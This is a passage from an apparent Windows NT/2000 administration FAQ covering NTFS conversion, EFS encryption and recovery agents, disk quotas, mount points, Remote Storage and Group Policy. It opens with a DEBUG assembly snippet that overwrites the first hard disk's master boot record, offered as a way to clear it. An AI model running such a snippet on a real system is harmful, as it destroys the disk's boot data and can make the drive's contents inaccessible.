xxxx:0100 mov ax,0301
xxxx:01xx mov cx,1
xxxx:01xx mov dx,80
xxxx:01xx int 13
xxxx:01xx int 3
xxxx:01xx <CR>
-G

This is much shorter. It has 2 theoretically possible failure cases

  1. ES:BX accidentally and randomly points to a valid MBR. This is extremely unlikely and probably technically impossible. I ES:BX is initialized when debug starts. BX is normally the high part of the length of the file being debugged and I think therefore 0 if there is nor file and I think ES is the same as DS, SS, CS by default.
  2. The 510th word pointed to by ES:BX is AA55. I do not know what the probability is here but it is at least 1/64K Further even if this is the case it still may not fail, just subsequent attempts to format the drive will believe there is a valid though maybe unusual MBR.

There is nothing special about filling the MBR with 0's. It just need to not be valid. Any invalid MBR is the same as no MBR.


Q. How can I cancel a scheduled NTFS conversion?

A. If you have scheduled a NTFS conversion for next reboot using the CONVERT command it can be canceled as follows:

  1. Start the registry editor (regedt32.exe NOT regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
  3. Double click BootExecute
  4. Change from
    autoconv \DosDevices\x: /FS:NTFS
    to:
    autocheck autochk *
  5. Click OK
  6. Close the registry editor


Q. What is the Encrypted File System (EFS)?

A. New to Windows 2000 and the NTFS 5.0 file system is the Encrypted File System (EFS) which as the name suggests is used to encrypt files.

NTFS is a secure file system however with more and more people using portables and utilities such as NTFSDos which bypasses NTFS security another layer or protection is needed.

EFS uses a public and private key encryption and the CryptoAPI architecture. EFS can use any symmetric encryption algorithm to encrypt files however the initial release only uses DES. 128-bit keys are used in North America, 40-bit internationally.

No preparation is needed to encrypt files and the first time a user encrypts a file an encryption certificate for the user and a private key are automatically created.

If encrypted files are moved they stay encrypted, if users add files to an encrypted folder the new files are automatically encrypted. There is no need to decrypt a file before use, the operating system automatically handles this for you in a secure manner.

In the event of a users private key being lost (either by reinstallation or new user creation) the EFS recovery agent can decrypt the files.


Q. How do I encrypt/decrypt a file?

A. Encrypting and compressing a file/folder is mutually exclusive, you can encrypt a file or compress it, not both.

To decrypt a file perform the following:

  1. Start Explorer
  2. Right click on the file/folder
  3. Select Properties
  4. Under the General tab click Advanced
  5. Check the 'Encrypt contents to secure data'. Click OK
  6. Click Apply on the properties
  7. If you selected a file it will ask if you want to encrypt the parent folder to prevent the file from becoming unencrypted during modification. Click OK If you selected a folder if will ask if you want to encrypt subfolders and files also. Click OK.
  8. Click OK to the main dialog

To decrypt repeat the above but unselect the box. If you decrypt a folder it will ask if you also want to decrypt all child folders and files.

Compression of an encrypted file will not save in most case. Encrypt compressed file makes sense. There is a technical issue here. It is not because of reparse point. Neither compression nor encryption uses reparse point. The reason we do not support both is backup\restore. We provide a way for backup operator to backup encrypted file. The operator has no way to read the file in plaintext. The NTFS compression result depends on the disk cluster. If the backup source and the restore destination has the different cluster size, NTFS could not restore the encrypted data because NTFS does not know how to understand the data.

Sparse and encryption.
Encryption is compatible with sparse. In other words, you can encrypt a sparse file and still keep it a sparse file.


Q. What do I encrypt/decrypt a file from the command line?

A. A command line utility, CIPHER.EXE, can be used to encrypt and decrypt files from the command line.

CIPHER [/E | /D] [/S:dir] [/I] [/F] [/Q] [dirname [...]]

/E Encrypts the specified directories. Directories will be marked so that files added afterward will be encrypted.
/D Decrypts the specified directories. Directories will be marked so that files added afterward will not be encrypted.
/S Performs the specified operation on directories in the given directory and all subdirectories.
/I Continues performing the specified operation even after errors have occurred. By default, CIPHER stops when an error is encountered.
/F Forces the encryption operation on all specified directories, even those which are already encrypted. Already-encrypted directories are skipped by default.
/Q Reports only the most essential information.
dirname Specifies a pattern, or directory.

Used without parameters, CIPHER displays the encryption state of the current directory and any files it contains. You may use multiple directory names and wildcards. You must put spaces between multiple parameters.


Q. How can a user request an EFS recovery certificate?

A. To request a EFS certificate you first need the domain to have a trusted list of Certificate Authorities and the user needs to be a domain Administrator.

  1. Start the MMC console (Start - Run - MMC.EXE)
  2. From the Console menu select 'Add/Remove Snap-in...'
  3. Click Add
  4. Select Certificates and click Add
  5. Select 'My user account' and click Finish
  6. Click Close
  7. Click OK to the main dialog
  8. Expand the Certificates root and right click on Personal
  9. Select 'Request New Certificate' from the 'All Tasks' menu
  10. Click Next to the Certificate Request Wizard
  11. Select 'EFS Recovery Agent' and click Next
  12. Enter a friendly name and description. Click Next
  13. Click Finish the summary dialog
  14. Click 'Install Certificate'. Click OK

You will now have a File Recovery certificate under the Personal\Certificates folder.


Q. How can I add a user as an EFS recovery agent for a domain?

A. Recovery agents are users who can recovery encrypted files for a domain. To add new users as recovery agents they must first have recovery certificates issued by the enterprise CA structure (a local certificate granted by the Administrator is no use).

  1. Start the Active Directory Users and Computers (Start - Programs - Administrative Programs - Active Directory Users and Computers)
  2. Right click on the domain and select Properties
  3. Select 'Group Policy' tab
  4. Select the 'Default Domain Policy' and click Edit
  5. Expand Computer Configuration\Windows Settings\Security Settings\Public Key Policies\Encrypted Data Recovery Agents
  6. Right click 'Encrypted Data Recovery Agents' and select Add
  7. Click Next to the 'Add Recovery Agent Wizard'
  8. Click 'Browse Directory'. Locate the user and click OK
  9. Click Next to the agent dialog select
  10. Click Finish to the confirmation
  11. Close the Group Policy Editor

Refresh the machine policy

C:\> secedit /refreshpolicy machine_policy

The agent will only be able to recover files encrypted after the user was made an agent. If an encrypted files is unencrypted and the encrypted or even just opened the new agent WILL be able to recover it as the file will "refresh" its recovery certificates (if the recovery policy has changed).

The local admin on a standalone PC or the first logon admin on a DC is the recovery agent by default. However this can be modified. You can remove the default recovery agent and assign any one as the recovery agent. In other words, admin can not read other person's encrypted file unless he is the recovery agent. The purpose of assigning the first logon admin as the recovery agent is to make life easier for most of our customer. The corporate user is recommended to modify the recovery agent.


Q. How do I delete an orphaned share?

A. An orphaned share is one that the directory it shares has been deleted. If you delete a directory in Explorer that is shared any shares will automatically removed. If you delete by a different method, such as from the command prompt then the share will be left and it may result in messages in the System Event Log of the form:

The server service was unable to recreate the share NTFAQ because the directory D:\ntfaq files no longer exists.

You can manually update the registry to remove these "rogue" shares.

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Shares
  3. There is an entry for each share
  4. Select the entry for the share you wish to delete and select Delete from the Edit menu.
  5. Click Yes to the confirmation
  6. If the share had special security set it will also have an entry under the Security sub-key so move to Security (under Shares), select the share value name and delete

If you type net share the share name will still be displayed until the lanmanserver service is restarted. If you manually restart it will also stop the services, net logon, computer browser and Distributed File System.

Another method (if you have access) is to use Server Manager in NT 4.0, connect to the machine and orphaned shares are grayed out, you can then delete them. Windows 2000 Computer Manager does not display orphaned shares in a different colour making this approach impossible in Windows 2K.


Q. How can I check who last opened a file?

A. The only way I know of would be to enable auditing on the file and then examine the Security Event log for access.

In order to do this you will need the following:

  1. Enable auditing for files and folders via User Manager (Policies - Audit - Audit These Events - File and Object Access). In Windows 2000 use the Group Policy editor and edit the local policy or another GPO (Computer Configuration - Windows Settings - Security Settings - Local Policies - Audit Policy)
  2. Start Explorer
  3. Right click on the files/folders select Properties
  4. Select the Security tab
  5. Click the Advanced button
  6. Select the Audit tab
  7. Click Add
  8. Select 'Everyone'
  9. Click OK
  10. Select the actions to audit such as 'List folder/read data'
  11. Click OK
  12. Click OK to all dialogs


Q. I've increased the size of a hardware RAID volume but NT does not see the size increase, what can I do??

A. You need to reset the Disk Administrator configuration by performing the following:

  1. Backup your disk configuration by starting disk administrator (Start - Programs - Administrative Tools - Disk Administrator or just run WINDISK.EXE)
  2. Insert a floppy disk and from the Partition menu select Configuration - Save. You configuration will then be saved to the disk
  3. Close the Disk Administrator
  4. Start the registry editor (regedit.exe)
  5. Move to HKEY_LOCAL_MACHINE\SYSTEM\DISK
  6. Select the Disk key and press DEL.
  7. Close the registry editor
  8. Restart the Disk Administrator
  9. It will say its the first time Disk Administrator has been run and it will update the disk configuration


Q. I'm unable to use the Encrypted File System under Windows 2000 as I'm a member of a 4.0 domain.

A. Because a machine in a domain uses the domain policy for recovery if the domain does not support EFS (such as a 3.51 or 4.0 domain) EFS is disabled. To get around this perform the following:

  1. Remove the Windows 2000 computer from the Windows NT 4.0 domain.
  2. From the command prompt, type:
    secedit /refreshpolicy machine_policy /enforce
  3. Rejoin the Windows 2000 computer to the Windows NT 4.0 domain.


Q. How do I enable per volume/user disk space quotas on NTFS 5.0?

A. Windows 2000 introduces limited quota support which enables you to configured quota limits on a per user/per volume basis. You can't set a quota over multiple volumes.

Quotas are on file size and even if files are compressed you still only get the MB of amount of the files. If you had a 5MB quota and compressed your 5MB of files sing NTFS compression you would have used all your quota.

Quota support is only available on NTFS 5.0 volumes and is enabled as follows:

  1. Start Explorer
  2. Right click on the volume and select properties
  3. Check the 'Enable quota management' box
  4. You can set default options for new users and also set the actions to take if quota exceeded, either deny disk space or allow them to carry on. There are also various logging options, either when a user exceeds their warning level or when they exceed their actual quota.
  5. Click Apply
  6. A warning will be given. Click OK. The quota process will now check the volume and build up a list of current disk usage


Q. How do I view current quota entries?

A. To view current quota usage on a volume perform the following:

  1. Start Explorer
  2. Right click on the volume and select properties
  3. Click the 'Quota Entries' button
  4. A list of quota entries and the amount used will be displayed.


Q. How do I add a new user quota entry?

A. To view current quota usage on a volume perform the following:

  1. Start Explorer
  2. Right click on the volume and select properties
  3. Click the 'Quota Entries' button
  4. A list of quota entries and the amount used will be displayed. From the Quota menu select 'New quota entry' or click the new document button
  5. Select the user(s) for the quota to be added. Click Add. When all or selected click OK
  6. Set the warning level and final level for the user(s). Click OK

If you select multiple users they will NOT share the quota, its just a quick way of adding lots of quota entries all with the same properties.


Q. What are reparse points?

A. Much of the new Windows 2000 file system enhancements are possible thanks to reparse points which basically provide a “hook” into the file system and allow extensions to the storage subsystem without the need to proprietary code to be written.

Reparse points are actually special file system objects which have a special attribute that activate extra functionality in the storage subsystem. Any file or folder can have a reparse point meaning a single path can trigger multiple portions of extended functionality.


Q. What are directory junctions?

A. Directory junctions allow you to join folders together so you can map a directory to any local target directory. Imagine you had three folders, c:\folder1, c:\folder2 and c:\documents. Its possible to create a directory junction to c:\documents appears as a subdirectory of the other two folders resulting in c:\folder1\documents and c:\folder2\documents.

Originally a utility was supplied which enabled the creation of these junction points, linkd.exe, however this is now removed from the product and will be supplied with the Resource Kit. Directory junctions can also be created using the Application Programming Interface but you need to write a program.

On first view, directory junctions and the Distributed File System perform some of the same roles as they both give the appearance of a single directory tree which actually consist of multiple, distributed folders however there are differences:

  • DFS utilitizes the Active Directory to store its information
  • Thanks to its Active Directory root Dfs can provide fault tolerance and load balancing, directory junctions cannot provide either of these although in a local context its not so necessary
  • DFS is more geared to merging network resources into a single namespace where as directory junctions only link local machine resources
  • DFS can work using multiple file systems but directory junctions rely on NTFS 5.0
  • DFS requires a client piece, directory junctions don’t


Q. What are Mount points?

A. Mount points are similar to junction points except that allow only the root of a volume to be mounted as a folder and are created using Reparse points thus the NTFS 5.0 requirement.

Mount points are useful for increasing a drives “size” without disturbing it. For instance you could create a mount point to drive d: as c:\documents thus seeming to increase the size available on c:


Q. What do I add a Mount point?

A. Mount points are created using the Disk Administration MMC as follows:

  1. Start the Computer Management MMC snap-in (Start – Programs – Administrative Tools – Computer Management)
  2. Expand the Storage branch and select Disk Management
  3. Right click on the volume you want to create as a mount point and select ‘Change Drive Letter and Path’
  4. Click ‘Add’
  5. Select a new ‘folder’ for the folder to be mounted as. If you click browse it will only show NTFS 5.0 volumes. Click OK

If you then look in explorer the new mount point will have the icon of a disk but will have the full content of the disk as shown below


Q. What do I remove a Mount point?

A. Mount points are removed using the Disk Administration MMC as follows:

  1. Start the Computer Management MMC snap-in (Start – Programs – Administrative Tools – Computer Management)
  2. Expand the Storage branch and select Disk Management
  3. Right click on the volume you want to create as a mount point and select ‘Change Drive Letter and Path’
  4. Select the mount point to remove
  5. Click Remove
  6. Click Yes to the confirmation

It will leave the folder that was created so you need to manually remove it, in the example the folder 'd:\data drive' will be left as an empty folder.


Q. What do I create a Mount point from the command line?

A. In line with Microsoft's goal of everything being possible from the command line, Windows 2000 has a utility MOUNTVOL.EXE which can be used to create mount points from the command prompt.

Typing MOUNTVOL on its own will list all available volumes that can be mounted:

C:\>mountvol
Creates, deletes, or lists a volume mount point.

MOUNTVOL [drive:]path VolumeName
MOUNTVOL [drive:]path /D
MOUNTVOL [drive:]path /L

path Specifies the existing NTFS directory where the mount
point will reside.
VolumeName Specifies the volume name that is the target of the mount
point.
/D Removes the volume mount point from the specified directory.
/L Lists the mounted volume name for the specified directory.

Possible values for VolumeName along with current mount points are:

\\?\Volume{123504dc-643c-11d3-843d-806d6172696f}\
C:\

\\?\Volume{123504dd-643c-11d3-843d-806d6172696f}\
*** NO MOUNT POINTS ***

\\?\Volume{123504db-643c-11d3-843d-806d6172696f}\
D:\

\\?\Volume{123504da-643c-11d3-843d-806d6172696f}\
A:\

To create a mount point manually create a new directory, then create the mount point using the volume ID listed from the MOUNTVOL command, e.g.:

  1. Create a CD directory
    C:\> md CD
  2. Create a mount point to the CD-ROM drive
    C:\> mountvol CD \\?\Volume{123504db-643c-11d3-843d-806d6172696f}\

That's it!


Q. What is Native Structured Storage?

A. Native Structured Storage or NSS was originally a new feature in Windows 2000 however it has been withdrawn due to problems with other system components.

Native Structured Storage (NSS) was a method to transparently store ActiveX document files in a multi-stream format on NTFS volumes. Since NSS is no longer supported Active X document files are now stored in the normal document file format.

Windows 2000 Beta 3 supplied a utility NSS2DOC.EXE (it is not supplied in newer beta releases) which converts NSS files to normal document file formats. This program is run automatically during upgrade and any problems logged in %systemroot%\setuperr.log.

You can also run manually using:

C:\> NSS2DOC-ca

Normal causes for automatic conversion failure are:

  • Files encrypted using the NTFS encrypted file system (since the account used at setup can not decrypt the files)
  • Files that cannot be written due to their security settings (run NSS2DOC as the user who owns the files to get round this problem)
  • Certain .tmp files, which are not fully flush when written and so may contain no real content


Q. How can I backup my local Encrypted File System recovery key?

A. When a machine is in a domain the domains EFS recovery agents is used to decrypt files for which the user has lost their private key.

In a workgroup or in a 4.0 based domain the recovery agent is the local Administrator so its vital to backup the Administrators private key. To do this perform the following:

  1. Logon to the computer as the local Administrator account
  2. From the Start menu select Run
  3. Enter the name 'secpol.msc'
  4. Expand the 'Public Key Policies' branch and select 'Encrypted Data Recovery Agents' leaf
  5. A certificate for Administrator with the role of 'File Recovery' will be displayed
  6. Right click on the certificate and select 'Export' from the 'All Tasks' context menu
  7. The certificate export wizard will start. Click Next
  8. You have the option to also export the private key, select Yes. Click Next
  9. Make sure 'Enable strong protection' is selected and click Next (you also have the option of removing the private key after it is backed up)
  10. Enter a password for the exported key. Click Next
  11. Enter the name for the exported file. Click Next
  12. Click Finish
  13. Click OK when the export is complete
  14. If you choose to remove the private key after export you should now restore the computer

A file will now have been created in the target location containing the certificate. Make sure you keep it safe. Its only about 2KB.


Q. How can I restore my local Encrypted File System recovery key?

A. If you backed up the local EFS recovery key to restore perform the following:

  1. Logon to the computer as the local Administrator account
  2. Move to the directory containing the recovery key (it has a .pfx extension)
  3. Right click on the file and select 'Install PFX' from the context menu
  4. The Certificate import wizard will start, click Next
  5. Click Next to confirm the file and folder
  6. Enter the password used and click Next
  7. Select 'Place all certificates in the following store' and click Browse
  8. Select 'Personal' and click OK
  9. Click Next and then select Finish
  10. Click OK to the confirmation box

For other methods see KB article Q242296


Q. How can I perform a CHKDSK on an NTFS 5.0 partition from NT 4.0?

A. System Internals have released a utility, NTFSCHK from http://www.sysinternals.com/ntfschk.htm which uses some of Windows 2000's core files and allows full CHKDSK functionality on NTFS 5.0 partitions from NT 4.0.


Q. How do I create a unix-like hardlink on NTFS?

A. Hard links are pointers to files and are indistinguishable from the original directory entry. Any changes to a file are effective regardless of the name used to refer to the file (the original name or the link name). Hard links cannot span file systems or drives and are not currently supported within NFS mounts or from NTFS to the mount.

The Server Resource Kit Contains ln.exe in the POSIX subdir. ln.exe is _not_ listed in the "Alphabetical List of Utilities".

POSIX.wri contains some notes on it, but the "error" syntax is different than the syntax listed in POSIX.wri. POSIX.wri indicates an -s arg for symlinks too which seem to not work. Also contrary to POSIX.wri use backslash in paths.

Thanks to Jeff Absher for this information


Q. Is there an alternative to the linkd utility supplied with the Windows 2000 Resource Kit?

A. Linkd is used to create directory junctions which are explained in 'What are directory junctions?'. Originally a utility to create directory junctions was supplied in the core product but has now been moved to the resource kit.

System Internals have written a clone of linkd.exe called junction which can be downloaded from http://www.sysinternals.com/misc.htm#junction and has some additional functions.


Q. The "Data in Remote Storage" indicator is not correct, what can I do?

A. Windows 2000 has built-in support for removable media however over time the amount of data it thinks is offline can become inaccurate. It basically allows you to store data that is infrequently used to magnetic tape but still accessible.

This happens because a Validate Files job is not run every time files are migrated to off-line storage. When files are migrated to off-line storage, the "Data in Remote Storage" value is increased to reflect the correct amount. However, when files in off-line storage are deleted from the volume, this value is not decremented.

To fix this problem you can force a Validate Files job to run:

  1. Start the Remote Storage Administrators Snap-in, and then select Managed Volumes.
  2. Right-click the RSS-managed volume you want to run the Validate Files job on.
  3. On the context menu, point to All Tasks, and then click "Validate files". You will receive notification that Remote Storage will create the task, and you can then view its progress using the Task Scheduler. Click OK.

If you view the Remote Storage properties for the volume, the "Data In Remote Storage" value has been reset to 0, and is slowly increasing while files are being validated.


Q. What is the Remote Storage System (RSS)?

A. The remote storage system is new to Windows 2000 and addresses the problem of limited disk space.

Prices of hard disks has fallen recently however tape is still much cheaper at around $20 for 8GB than hard drive space but is obviously slower access. Windows 2000 introduces a hierarchical storage management facility (from Seagate Software) that allows an NTFS 5 volume to be expanded by moving less used files to tape while leaving a placeholder on the disk so users can still "see" the file. When the user tries to access one of these files that has been moved to tape it is restored from the tape and opened in a read-only mode. The process is almost invisible to the user, all the user sees is a small dialog informing them the file is being restored from tape.

Remote Storage is also known as Hierarchical Storage Management (or HSM) as it allows two tiers of data storage, the first being the hard disk, the second the data moved to tape.

The files original size will still be displayed however it will not be used when free space is calculated on the disk.

Programs need to be remote storage aware, especially backup and anti-virus software or it may attempt to fetch files from remote storage causing long delays and also you may WANT files to be fetched from remote storage for full backups. The NTBACKUP software package supplied with Windows 2000 has full support for remote storage and can also backup files stored on remote storage if you require. Be especially careful of FindFast supplied with Office 97 and disable it!

You must have local Administrator rights to configure Remote Storage and currently as off Windows 2000 first release have a 4mm/8mm dat or DLT drive. The volumes must also be NTFS 5.0. In the future media such as ZIP or JAZ may be supported but not at present. Also the dat/DLT drive should be on the HCL however I purchased a HP DAT8i for the test which is not on HCL but had no problems. I'm not encouraging you to use hardware not on the Windows 2000 HCL, I'm just saying if its a standard dat/DLT type it will probably be OK and worth a try. Non-dat/DLT media will NOT work, I tried a Travan drive which it refused to use.


Q. How do I install the Remote Storage subsystem?

A. Windows 2000 includes the Remote Storage subsystem which is used to copy the data in infrequently used files to remote storage media such as a tape while leaving a file place holder still on the disk, when accessed the data is fetched from the tape. It basically works by monitoring volumes and when space dips below a defined level files not accessed for a certain time are moved to a removable mdeia.

The subsystem is supplied with all versions of Windows 2000 server but NOT professional. To install perform the following:

  1. Start the Add/Remove Software control panel applet (Start - Settings - Control Panel - Add/Remove Software)
  2. Select Add/Remove Windows Components
  3. Select 'Remote Storage' and click Next
  4. The files will be copied and you will have to reboot the server

Once the reboot has completed a new 'Remote Storage' component will be added to Administrative Tools and a number of new services configured.


Q. How do I configure the Remote Storage subsystem?

A. When run run the Remote Storage MMC snap-in (from the Administrative Tools folder) for the first time a configuration wizard will run the first time which you can use to configure the basics. Before running insure you have a 4mm/8mm dat or DLT drive or the setup will not continue.

  1. Click Next to the introduction
  2. It will check for the correct local rights and a media device that matches the required specification. If it fails but you have a DAT or DLT configured click on Remote Storage under the Removable Storage and ensure that it has a media pool of the required DAT/DLT type.
  3. A list of drives that you can use with Remote Storage are displayed. Select the volumes and click Next
  4. Next set the percentage that the free space must dip below before files are moved to remote storage and also file sizes and how long since they have been accessed. Click Next
  5. Select the media type you wish to have the files copied to, e.g. 4mm DDS. Click Next
  6. Next you can configure a schedule for which the check for files to be moved will be performed. Click the 'Change Schedule' button to modify from the default of everyday at 02:00. Click Next.
  7. A summary will be displayed. Click Finish

The information will now be displayed under the 'Managed Volumes' branch and can be modified if required. A 'Remote Storage' tab will also be added to the disk properties from Explorer to enable easy configuration.

You can add more managed volumes by right clicking on 'Managed Volumes' and selecting 'New - Managed Volume(s)...'. The wizard shown above will then run again.


Q. How do I force a Remote Storage scan?

A. Normally the remote storage scan is scheduled to run once a day however you can force it to run if you want.

  1. Start the Remote Storage MMC (Start - Programs - Administrative Tools - Remote Storage)
  2. Select 'Managed Volumes'
  3. Right click on the volume and from the context menu select All Tasks -> Copy Files to Remote Storage
  4. Click OK to start the check

It may take some time to run but you can monitor the progress using the Scheduled Tasks MMC snap-in (Start - Programs - Accessories - System Tools - Scheduled Tasks). When complete the task be removed from the list.


Q. How can I tell which files have been moved to remote storage?

A. Files that have been moved to remote storage have a small clock icon on them which means they have been moved to remote storage.

When you access the files it will be fetched from remote storage and a dialog will be displayed showing progress.

From the command prompt you can tell as the file size is in a bracket, e.g.

F:\NT FAQ Book>dir
Volume in drive F is Archive
Volume Serial Number is D44C-7669

Directory of F:\NT FAQ Book

30/06/1999 13:59 <DIR> .
30/06/1999 13:59 <DIR> ..
05/02/1999 16:58 1,618 2000only.tif
05/02/1999 16:57 1,758 4&5.tif
05/02/1999 16:58 1,638 40only.tif
04/01/1999 15:36 (281,088) appendixa.doc
04/01/1999 15:38 (310,272) appendixb.doc
09/02/1999 12:42 1,050,246 book cover.bmp
23/02/1999 15:47 (297,472) btoc.doc
04/01/1999 15:35 (279,552) dedication.doc


Q. How can I disable remote storage for a volume?

A. If you decide you want to disable the use of remote storage and instead just want normal file storage you can disable using the following procedure. You must decide if you wish to copy back any files that have been stored on remote storage of leave them on tape.

  1. Start the Remote Storage MMC (Start - Programs - Administrative Tools - Remote Storage)
  2. Select 'Managed Volumes'
  3. Right click on the volume you wish to disable remote storage for and select "Remove"
  4. Click Next to the removal wizard
  5. Select if you wish to move files stored on remote storage back to the disk or leave them on tape but no new files will be moved. Select the recall option and click Next
  6. Click Yes to the confirmation
  7. Click Finish to the final wizard screen

A red cross will be displayed next to the volume while the files are recalled from tape. Once the files are fully restored the volume will be removed from the window.


Q. What is Group Policy?

A. You will no doubt be familiar with the concept of group policies in NT 4.0 and by utilizing the Group Policy Editor you can configure various restrictions, save it as file NTCONFIG.POL in the netlogon share and the settings will be applied to all users of the domain. Effectively all the policies of Windows NT 4.0 allowed were registry updates.

These policy settings could be configured for users, computers or groups of users.

Windows 2000 takes this to the next level and promises the following ideal

"The ability for the Administrator to state a wish about the state of their Users environment once, and then rely on the system to enforce that wish"

In Windows 2000 the Group Policy model has been completely updated and now utilizes the Active Directory and offers much more than just registry restrictions, for example

  • Application deployment
  • Logon/logoff/startup/shutdown scripts
  • Folder redirection

Group Policy Object's (GPO's) are a policy unit and can be applied to a site, domain or organizational unit (OU), in fact it will often be the case that a user/computer will have multiple GPO's applicable to them and in the event of a clash of a setting the order of precedence is Site, Domain then OU, SDOU, and so any setting defined at a site level can be overwritten by a domain setting, anything defined on a domain can be overwritten by an OU setting. There is a fourth type, the Local computer policy and this has bottom priority and any policies will be overwritten by any of the others which gives us an order of LSDOU.

The three mechanisms to apply Group Policies for sites, domains and OU’s are as follows:

  • Domain Group Policy Object
    Start the “Active Directory Users and Computers” MMC snap-in, right click on the domain and select Properties. Select the “Group Policy” tab
  • OU Group Policy Object
    Start the “Active Directory Users and Computers” MMC snap-in, right click on the OU and select Properties. Select the “Group Policy” tab
  • Sites Group Policy Object
    Start the “Active Directory Sites and Services” MMC snap-in, expand the sites right click on the required site and select Properties. Select the “Group Policy” tab

By default when you select Group Policy for a container there will be no GPO and you have the option of either adding an existing GPO to the container or creating a new one. To create a new GPO just click the New button and enter a name for the GPO. Once created clicking the Edit button can modify the specified policy. A new instance of the Microsoft Management Console will be started with the Group Policy Editor loaded with the selected GPO at the root.

Windows NT 4.0 policies already in place are NOT upgraded to 2000 and you will need to redefine all your policies as GPO's. In a mixed environment of both 4.0 and 2000 clients you will need to keep a NTCONFIG.POL in the NETLOGON share of the domain controllers (even the 2000 DC's as they may authenticate 4.0 client logons in a mixed environment) to ensure 4.0 clients still receive their policy settings. Windows 2000 clients will ignore NTCONFIG.POL unless you make a policy change to instruct them to implement the NTCONFIG.POL contents. If you do then the order of reading is

  1. GPO(s) Computer at startup
  2. Computer NTCONFIG.POL at login
  3. User NTCONFIG.POL at login
  4. GPO(s) User at login

As has been said, GPO information is stored in the Active Directory but the policy itself is stored on the SYSVOL container on each domain controller as %systemroot%\SYSVOL\sysvol\<domain>\Policies\<GUID of GPO> (GUID is Globally Unique IDentifier).

Under the folder you will find a file Gpt.ini which for non local GPO will contain:

[General]
Version=<version number>

For example the version may be 65539. The least 4 significant digits (four right most digits) represent the Computer Settings version number (3) and the most four significant represent the User Settings version numsber (four left most digits) (1). You have to convert to hexadecimal so:

65539 : 00010003

Also within the folder is an Adm folder which contains the .adm template files which are used in the GPO. Also in the folder are a MACHINE and USER folder containing specific settings.

You can check the GUID for a GPO by right clicking on its root and selecting Properties and viewing the Unique name property.

To avoid any conflicts with GPO modifications only the PDC role holder can make changes to the GPO.

Another change is that old 4.0 policies are 'tattooed' in the registry, meaning that even after a policy has been removed, its settings stay in the registry until changed by something else. An advantage of the Windows 2000 Group Policies is that this does not occur. The reason for this is that in Windows 2000, registry settings written to the following two secure registry locations are cleaned up when a Group Policy Object no longer applies:

  • \Software\Policies
  • \Software\Microsoft\Windows\CurrentVersion\Policies

Finally unlike the 4.0 Group Policies the policy actually gets refreshed at certain times, well not ALL of the policy, software deployment and folder redirection are not updated as, for example, you would be unhappy if the GPO was modified to remove Word and you were using it at the time and it suddenly uninstalled! All 2000 machines refresh the policy every 90 minutes except domain controllers who replicate every 5 minutes. These times and the parts to replicate can be modified within the GPO.


Q. How can I force GPO updates to take effect?

A. Policies are refreshed every 90 minutes (5 on DC's). To force a machine to update the policy use the SECEDIT command.

To update the computer policy type

C:\> secedit /refreshpolicy machine_policy

To update the user policy type

C:\> secedit /refreshpolicy user_policy

Adding /enforce to any of the above forces a reapply of the security policy even if there is no GPO change.


Q. How can I enable the old NTCONFIG.POL to be used by Windows 2000 clients?

A. By default Windows 2000 based clients don't use NTCONFIG.POL but instead use Group Policy Objects (GPO) as defined in the Active Directory. NT 4.0 clients still use NTCONFIG.POL even in a 2000 domain.

It used to be possible (pre RC2, build 2128) to enable the 2000 clients to use NTCONFIG.POL however you should have a good reason as GPOs are superior to the old system policies. This has been removed due to complications in implementation.

To enable system policies (NTCONFIG.POL) perform the following pre build 2128 are as follows:

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the root domain name, for example savilltech.com and select Properties
  3. Select the 'Group Policy' tab
  4. Select the 'Default Domain Policy' GPO and click Edit
  5. The Group Policy MMC snap-in will be started with the domain GPO at the root
  6. Move to Computer Configuration\Administrative Templates\System\Group Policy
  7. Double click 'Disable system policy' and set to Disabled. Click OK

    Disabling disable system policy means enable the system policy, two minus's make a plus :-)
  8. Close the Group Policy MMC

The updated GPO will take effect on the client the next time you logon (it will actually take effect max 90 minutes after you make the change but this only affects logon).

This update actually changes registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableNT4Policy to 0.


Q. How can I add additional templates to a Group Policy Object?

A. The old style NT 4.0 templates (.adm) are still supported in Windows 2000 Group Policy Objects (GPO) and are listed in the Group Policy under the 'Administrative Templates' branch. These settings are all "registry" based settings.

Windows 2000 ships with two .adm files

  • system.adm (General system settings)
  • inetres.adm (Internet Explorer specific settings)

When a adm file is applied to a GPO it is copied from the %systemroot%\inf folder to the %systemroot%\SYSVOL\domain\Policies\<GUID of GPO>\Adm folder.

To add/remove a new template to a GPO perform the following:

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the container whose GPO you wish to change, for example savilltech.com and select Properties
  3. Select the 'Group Policy' tab
  4. Select the GPO and click Edit
  5. The Group Policy MMC snap-in will be started with the GPO at the root
  6. Under User or Computer configuration right click on 'Administrative Templates' and select 'Add/Remove Templates'
  7. Click Add (or to remove select one and click Remove)
  8. Select the ADM to add and click Open
  9. Click Close
  10. The new options will now be available

The ADM file will be copied to the GPO's Adm folder.


Q. How can I apply a group policy to a security group?

A. Its not possible to apply a group policy to a security group however what you can do is to filter a group policy by changing the permissions on the Group Policy so that only certain users/groups have read and apply privileges.

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the container (OU or domain) that has the Group Policy Object whose permissions you wish to change and select Properties
  3. Select the 'Group Policy' tab
  4. Select the GPO from the list and click Properties
  5. Select the Security tab
  6. Modify the permissions so that only the required users have the read and apply privileges and Administrators who need to modify the GPO have read and write
  7. Click OK to the dialog
  8. Click Close the containers properties

Now only the selected users will run the GPO


Q. Password policies assigned to an OU/site GPO do not work.

A. Although the password policy branch is available for all Group Policy Objects it is only implemented for GPO's at the domain level so even if you make settings for a GPO for an OU or a site it will have no effect. The only way to apply password settings is as follows:

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the domain and select properties
  3. Select the Group Policy tab
  4. Select the domain group policy object and select Edit
  5. Expand the 'Computer Configuration' branch - 'Windows Settings' - 'Security Settings' - 'Account Policies' - 'Password Policy'
  6. You will now be able to set the relevant options
  7. When complete close the Group Policy Editor


Q. How can I convert a NT 4.0 .pol file to a Windows 2000 group policy object?

